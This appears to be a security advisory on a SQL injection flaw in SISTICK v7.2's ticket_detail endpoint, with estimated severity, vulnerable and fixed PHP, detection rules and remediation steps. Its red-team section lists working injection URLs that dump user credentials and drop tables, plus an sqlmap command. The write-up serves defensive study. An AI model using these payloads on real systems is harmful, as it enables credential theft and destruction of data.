CVE-2025-41019

Executive Summary

CVE-2025-41019 is a critical SQL injection vulnerability discovered in Sergestec's SISTICK v7.2, a ticketing or management system. The flaw resides in the id parameter of the /index.php?view=ticket_detail endpoint, allowing unauthenticated remote attackers to retrieve, create, update, and delete database records. This vulnerability poses a severe risk to data confidentiality, integrity, and availability. No official patch has been released, and the CVSS score is currently unassigned. Public proof-of-concept (PoC) code exists, increasing the immediate threat to unpatched instances.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability description and typical SQL injection characteristics, the following breakdown is estimated:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the database are within the same security authority.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Full database write/update/delete access.
• Availability (A): High (H) – Database deletion can cause denial of service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, no authentication, and full database control makes this a top-priority vulnerability for any organization using SISTICK v7.2.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the id parameter of the ticket_detail view. The application likely constructs a SQL query by directly concatenating user input from the id parameter without proper sanitization or parameterized queries.

Example vulnerable PHP code (conceptual):

$id = $_GET['id'];
$query = "SELECT * FROM tickets WHERE id = " . $id;
$result = mysqli_query($conn, $query);

An attacker can inject SQL commands by providing a malicious value for id, such as:

1 UNION SELECT username, password FROM users

or

1; DROP TABLE tickets; --

The id parameter is passed via HTTP GET, making it trivially exploitable through a browser or automated tools.

Vulnerable vs. Patched Code

Vulnerable Code (SISTICK v7.2):

// index.php (conceptual)
$id = $_GET['id'];
$query = "SELECT * FROM tickets WHERE id = " . $id;
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

// index.php (conceptual)
$id = intval($_GET['id']); // Cast to integer
$query = "SELECT * FROM tickets WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patched version uses parameterized queries (prepared statements) and input validation (casting to integer) to prevent SQL injection. Since no official patch exists, users must implement such mitigations manually or apply a WAF rule.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of SISTICK v7.2 (e.g., using a Docker container or a local web server with PHP and MySQL).
2. Ensure the application is accessible via http://localhost/sistick/.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   http://localhost/sistick/index.php?view=ticket_detail&id=1
   

2. Test for SQL injection:

   http://localhost/sistick/index.php?view=ticket_detail&id=1'
   

   If an error is returned (e.g., You have an error in your SQL syntax), the parameter is injectable.
3. Extract database version:

   http://localhost/sistick/index.php?view=ticket_detail&id=1 UNION SELECT @@version,2,3,4--
   

4. Enumerate tables:

   http://localhost/sistick/index.php?view=ticket_detail&id=1 UNION SELECT table_name,2,3,4 FROM information_schema.tables--
   

5. Dump user credentials:

   http://localhost/sistick/index.php?view=ticket_detail&id=1 UNION SELECT username,password,3,4 FROM users--
   

6. Delete a table (destructive):

   http://localhost/sistick/index.php?view=ticket_detail&id=1; DROP TABLE tickets; --
   

Automated Exploitation (using sqlmap):

sqlmap -u "http://localhost/sistick/index.php?view=ticket_detail&id=1" --batch --dbs

Blue Team (Defensive)

Detection & Prevention:

1. Web Application Firewall (WAF): Deploy a WAF (e.g., ModSecurity) with rules to block SQL injection patterns.
2. Input Validation: Implement strict input validation for the id parameter (e.g., only allow numeric values).
3. Parameterized Queries: Rewrite all database queries to use prepared statements.
4. Least Privilege: Ensure the database user used by the application has minimal privileges (e.g., only SELECT on necessary tables).
5. Monitor Logs: Look for abnormal SQL errors or requests with SQL keywords (UNION, SELECT, DROP, etc.) in the id parameter.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /index.php?view=ticket_detail&id= containing SQL keywords (UNION, SELECT, DROP, INSERT, UPDATE, DELETE, OR, AND, --, #, /*).
  • Requests with multiple id parameters or unusual encoding.
  • Outbound database connections from the web server to unexpected IPs (data exfiltration).
• File IOCs:
  • Unexpected files in the web root (e.g., shells, backdoors).
  • Modified application files (e.g., index.php).
• Database IOCs:
  • New or modified database users.
  • Unexpected tables or stored procedures.
  • Large data exports or unusual query patterns.

Detection Engineering

YARA Rule

rule CVE_2025_41019_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-41019 in SISTICK v7.2"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-41019"
    strings:
        $sqli1 = "UNION SELECT" nocase
        $sqli2 = "DROP TABLE" nocase
        $sqli3 = "information_schema" nocase
        $sqli4 = "1=1" nocase
        $sqli5 = "OR 1=1" nocase
        $sqli6 = "admin' --" nocase
        $sqli7 = "id=" nocase
    condition:
        any of ($sqli*) and #sqli7 > 0
}

Sigma Rule

title: CVE-2025-41019 SQL Injection Attempt
id: cve-2025-41019-sqli
status: experimental
description: Detects SQL injection attempts against SISTICK v7.2 ticket_detail endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'view=ticket_detail'
            - 'id='
        cs-uri-query|re:
            - '.*UNION.*SELECT.*'
            - '.*DROP.*TABLE.*'
            - '.*information_schema.*'
            - '.*OR.*1=1.*'
            - ".*'--.*"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in parameter values (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-41019 SQL Injection Attempt - SISTICK v7.2";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/index.php";
    http_uri;
    content:"view=ticket_detail";
    http_uri;
    content:"id=";
    http_uri;
    pcre:"/(UNION\s+SELECT|DROP\s+TABLE|information_schema|OR\s+1=1|'--)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, take the SISTICK v7.2 instance offline or restrict network access.
2. Apply virtual patching: Use a WAF to block SQL injection patterns targeting the id parameter.
3. Manual code fix: Modify the application code to use parameterized queries and input validation (see "Vulnerable vs. Patched Code" section).

Long-term Actions:

1. Upgrade: Contact Sergestec for an official patch or upgrade to a non-vulnerable version.
2. Security Audit: Conduct a full security audit of the application for other vulnerabilities.
3. Implement DevSecOps: Integrate static application security testing (SAST) and dynamic application security testing (DAST) into the CI/CD pipeline.

Workaround (if patching is not possible):

• Disable the ticket_detail view or restrict access to it via .htaccess or web server configuration.
• Implement a reverse proxy that sanitizes the id parameter.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert